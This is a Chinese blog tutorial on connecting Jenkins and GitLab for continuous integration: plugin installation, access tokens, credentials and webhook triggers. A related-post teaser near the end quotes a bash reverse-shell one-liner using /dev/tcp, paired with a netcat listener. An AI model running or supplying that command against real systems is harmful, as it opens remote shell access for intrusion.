前言介绍

gitlab与jenkins的安装部署请参考之前的文章;这里介绍一下jenkins与gitlab结合的好处。

gitlab可以自己实现CICD功能,jenkins也可以结合其他工具来实现CICD功能,为什么要用jenkins + gitlab的方式来实现。我这里个人推断:jenkins以插件功能丰富而闻名,gitlab本身就是一套集成工具,这种情况下面所有的操作都在gitlab上面执行,很容易产生资源的瓶颈;其次gitlab属于分布式版本控制工具,使用方便灵活,拥有的用户市场大等很多优势,所以用jenkins + gitlab的方式来实现CICD是比较理想的方案。

下面介绍一下jenkins与gitlab持续集成的环境。

环境

编号 主机地址 应用名称 版本
1 192.168.21.39 jenkins 2.19
2 192.168.21.40 gitlab 12.3.5

部署

jenkins

安装文档请参考之前的内容,下面是初次登录时所需的操作

通过浏览器访问jenkins地址,一般是http://network_ip:8080

选择自定义插件,我比较喜欢所有的插件自己后续安装,这样可以具体的了解大部分插件的功能与依赖

我这里并没有安装任何插件

因为我是cicd的测试,并不是jenkins功能的测试,所有我这个地方并没有做权限的管理

若是没有dns及hostname相关的设置,这个地方就用ip来设置url即可。

准备汉化jenkins,大家都是中国人,你懂得;Jenkins >> Manage Jenkins >> Manage Plugins >> Available;然后搜索localization,选择下列的插件进行安装

安装gitlab相关的插件:gitlab-hook、gitlab-authentication、gitlab-plugin(注意,gitlab-hook有很多依赖关系,就算你选择离线安装也会去在线获取依赖插件;解决办法就是先把依赖插件先安装上。)

离线插件下载地址:https://updates.jenkins.io/download/(好像需要翻qiang,你懂得)

需要注意的是:有一些插件本身有一些安全隐患,具体的隐患需要查看官方相应资料,一般jenkins平台中会给出提示,如下图:

安装相应的插件之后还需要到jenkins对应的主机操作系统中安装git程序,因为jenkins要调用git的接口去检测仓库的指针与版本

[root@jenkins ~]# yum -y install git

gitlab

创建凭据;User >> setting >> Access Tokens;

记住上面图中的Personal Access Token;并添加到jenkins的凭据中去。

新建仓库,用作测试

jenkins

在jenkins全局模式里面配置gitlab的用户令牌验证;jenkins >> 系统设置 >> Gitlab;在Gitlab处进行配置,如下图;

在jenkins端添加gitlab的凭据,互做绑定;新建项目 >> 源码管理 >> 添加凭据 >> 构建触发器 >> 创建webhook;

注意:这个上面用的是用户名与密码。

创建构建触发器

上面图中的这两个东西非常重要,等下都要用到。记得保存应用!!!

gitlab

在仓库中添加webhook;projects >> 选择仓库 >> setting >> Integrations >> 添加绑定 >> Add webhook

测试

在用户端拉取仓库,进行代码提交;之后在jenkins端查看是否有新的项目自动进行构建。若自动构建并且成功,则说明持续集成环境部署成功。

参考文档:https://rorschachchan.github.io/2018/05/25/Gitlab-Jenkins%E6%90%AD%E5%BB%BA%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90%E7%B3%BB%E7%BB%9F/

jenkins 与 gitlab 的持续集成的更多相关文章

  1. Jenkins+Maven+Gitlab+Nexus持续集成环境搭建

      1.软件及服务介绍 Jenkins:jenkins是实现代码自动化流程上线的工具,Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个 ...

  2. Jenkins+TestNG+gitlab+maven持续集成

    准备工作: 1.安装Jenkins 网上有jenkins安装配置教程 2.jenkins配置 2.1全局工具配置 配置JDK JDK别名:名称可以随意,但是要方便识别 JAVA_HOME:centos ...

  3. Jenkins+Gitlab搭建持续集成(CI)环境

    利用Jenkins+Gitlab搭建持续集成(CI)环境 Permalink: 2013-09-08 22:04:00 by hyhx2008in intern tags: jenkins gitla ...

  4. 持续集成之Jenkins+Gitlab实现持续集成 [二]

    持续集成之Jenkins+Gitlab实现持续集成 [二] 项目:使用git+jenkins实现持续集成 开始构建  General  源码管理 我们安装的是Git插件,还可以安装svn插件  我们将 ...

  5. Git Hooks、GitLab CI持续集成以及使用Jenkins实现自动化任务

    Git Hooks.GitLab CI持续集成以及使用Jenkins实现自动化任务 前言 在一个共享项目(或者说多人协同开发的项目)的开发过程中,为有效确保团队成员编码风格的统一,确保部署方式的统一, ...

  6. Net 项目构建基于Jenkins + Github + Mono 的持续集成环境

    Net 项目构建基于Jenkins + Github + Mono 的持续集成环境 阅读目录 1 安装 2 配置 3 测试 在Redhat enterprise 6.5 的服务器上,为在gutub 上 ...

  7. 使用 Jenkins 搭建 iOS/Android 持续集成打包平台【转】

    背景描述 根据项目需求,现要在团队内部搭建一个统一的打包平台,实现对iOS和Android项目的打包.而且为了方便团队内部的测试包分发,希望在打包完成后能生成一个二维码,体验用户(产品.运营.测试等人 ...

  8. Ubuntu Docker 安装和配置 GitLab CI 持续集成

    相关文章: Ubuntu Docker 简单安装 GitLab 劈荆斩棘:Gitlab 部署 CI 持续集成 目的:在 Ubuntu 服务器上,使用 Docker 安装和配置 GitLab Runne ...

  9. Jenkins构建Android项目持续集成之findbugs的使用

    Findbugs简介 关于findbugs的介绍,可以自行百度下,这里贴下百度百科的介绍.findbugs是一个静态分析工具,它检查类或者 JAR 文件,将字节码与一组缺陷模式进行对比以发现可能的问题 ...

随机推荐

  1. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...

  2. MYSQL基本常用函数

    MYSQL基本常用函数 一.字符的操作函数 (ps:mysql中的索引都是从1开始的.) 1.instr(param1,param2) 返回子串第一次出现的索引,若找不到则返回0. param1填写操 ...

  3. vue 2.0以上怎么在手机中运行自己的项目

    第一步 打开vue项目 第二步 打开项目config/index.js文件,然后找到 module.exports 配置里面的 dev 配置,修改字段host:0.0.0.0 第三步 打开cmd输入i ...

  4. Ant Design 表单中getFieldDecorator、getFieldValue、setFieldValue用法

    Ant Design 表单中getFieldDecorator.getFieldValue.setFieldValue用法 一.getFieldDecorator getFieldDecorator是 ...

  5. 深入浅出 Typescript 学习笔记

    TypeScript 是 JavaScript 的一个超集,支持 ECMAScript 6 标准. TypeScript 由微软开发的自由和开源的编程语言. TypeScript 设计目标是开发大型应 ...

  6. 解决阿里云专有网络ftp无法远程链接

    配置好ftp后本机测试可用但无法远程连接 网络上找了很多方法,配置防火墙出入站规则均无效 提交阿里云工单,给出解决方法,测试后可用

  7. MongoDB高级用法

    MongoDB高级查询用法大全 转载 http://blog.163.com/lgh_2002/blog/static/440175262012052116455/ 详见官方的手册:http://ww ...

  8. 梳理js数组去重中代码比较简洁的方案

    一.es6 Set去重 function removal(arr) { return Array.from(new Set(arr)) } let arr=[1,2,1,3,4,5,5] remova ...

  9. DHCP服务器搭建

    一.服务端安装配置 1.安装dhcp相关软件包 执行命令:yum install dhcp dhcp-devel -y #通过yum安装dhcp软件包 2.编辑配置dhcp的配置文件,文件路径:/et ...

  10. Java 项目热部署,节省构建时间的正确姿势

    上周末,帮杨小邪(我的大学室友)远程调试项目.SpringBoot 构建,没有热部署,改一下就得重启相关模块.小小的 bug ,搞了我一个多小时,大部分时间都还在构建上(特么,下次得收钱才行).我跟他 ...